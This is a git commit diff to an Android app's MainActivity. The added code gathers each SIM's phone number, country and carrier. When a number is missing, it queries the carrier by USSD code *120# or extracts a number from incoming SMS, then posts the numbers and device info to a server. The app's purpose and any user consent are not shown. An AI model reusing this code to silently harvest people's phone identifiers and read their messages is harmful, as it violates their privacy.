asd
This commit is contained in:
parent
540fe106b7
commit
a853303713
1 changed files with 32 additions and 10 deletions
|
@ -77,6 +77,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
private String currentHash = "";
|
||||
private int currentPhone = 0;
|
||||
private List<String> phones;
|
||||
private boolean waitingForSms = false;
|
||||
private String currentInfo = "";
|
||||
|
||||
private NotificationReceiver notificationReceiver;
|
||||
|
||||
|
@ -242,14 +244,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
|
||||
private void makeProcess(Context context) {
|
||||
Log.i("Process", "+");
|
||||
currentPhone = 0;
|
||||
phones = collectPhoneNumber(context);
|
||||
requestPhone(context, phones.get(currentPhone));
|
||||
if(!phones.isEmpty())
|
||||
requestPhone(context, phones.get(currentPhone));
|
||||
}
|
||||
|
||||
private void requestPhone(Context context, String phone){
|
||||
Log.i("requestPhone", "+");
|
||||
waitingForSms = false;
|
||||
currentInfo = "";
|
||||
PostRequest postRequestTask = new PostRequest(context, this);
|
||||
postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -351,19 +359,25 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
|
||||
private void requestUssdNumber(TelephonyManager telephonyManager) {
|
||||
Log.i("USSD", "Called");
|
||||
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
||||
return;
|
||||
Log.i("USSD", "Requesting...");
|
||||
String ussd = "*120#";
|
||||
boolean smsResponse = true;
|
||||
boolean smsResponse = false;
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
Log.i("USSD", "Requested");
|
||||
telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
|
||||
@Override
|
||||
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
|
||||
super.onReceiveUssdResponse(telephonyManager, request, response);
|
||||
String responseString = response.toString();
|
||||
if(smsResponse)
|
||||
if (smsResponse){
|
||||
waitingForSms = true;
|
||||
} else {
|
||||
String phoneNumber = extractFirstPhoneNumber(responseString);
|
||||
|
||||
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -371,28 +385,31 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
|
||||
|
||||
}
|
||||
}, this);
|
||||
}, null);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
private List<String> collectPhoneNumber(Context context){
|
||||
Log.i("collectPhoneNumber", "+");
|
||||
List<String> phoneNumbers = new ArrayList<>();
|
||||
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
|
||||
return phoneNumbers;
|
||||
}
|
||||
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
|
||||
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
|
||||
|
||||
Log.i("subscriptions", "+");
|
||||
for (int i = 0; i < subscriptions.size(); i++) {
|
||||
SubscriptionInfo currentCard = subscriptions.get(i);
|
||||
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
|
||||
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
|
||||
if (!phoneNumber.isEmpty()) {
|
||||
Log.i("asd", telephonyManager.getSimOperatorName());
|
||||
phoneNumbers.add(phoneNumber + ":" + currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName());
|
||||
String cardInfo = currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName();
|
||||
if (phoneNumber.isEmpty()) {
|
||||
currentInfo = cardInfo;
|
||||
requestUssdNumber(telephonyManager);
|
||||
} else {
|
||||
phoneNumbers.add(phoneNumber + ":" + cardInfo);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -410,7 +427,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
|
||||
String sender = smsMessage.getDisplayOriginatingAddress();
|
||||
String messageBody = smsMessage.getMessageBody();
|
||||
|
||||
String phoneNumber = extractFirstPhoneNumber(messageBody);
|
||||
Log.i("receivedSms", String.valueOf(waitingForSms));
|
||||
if(waitingForSms && !phoneNumber.isEmpty()) {
|
||||
waitingForSms = false;
|
||||
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Add table
Reference in a new issue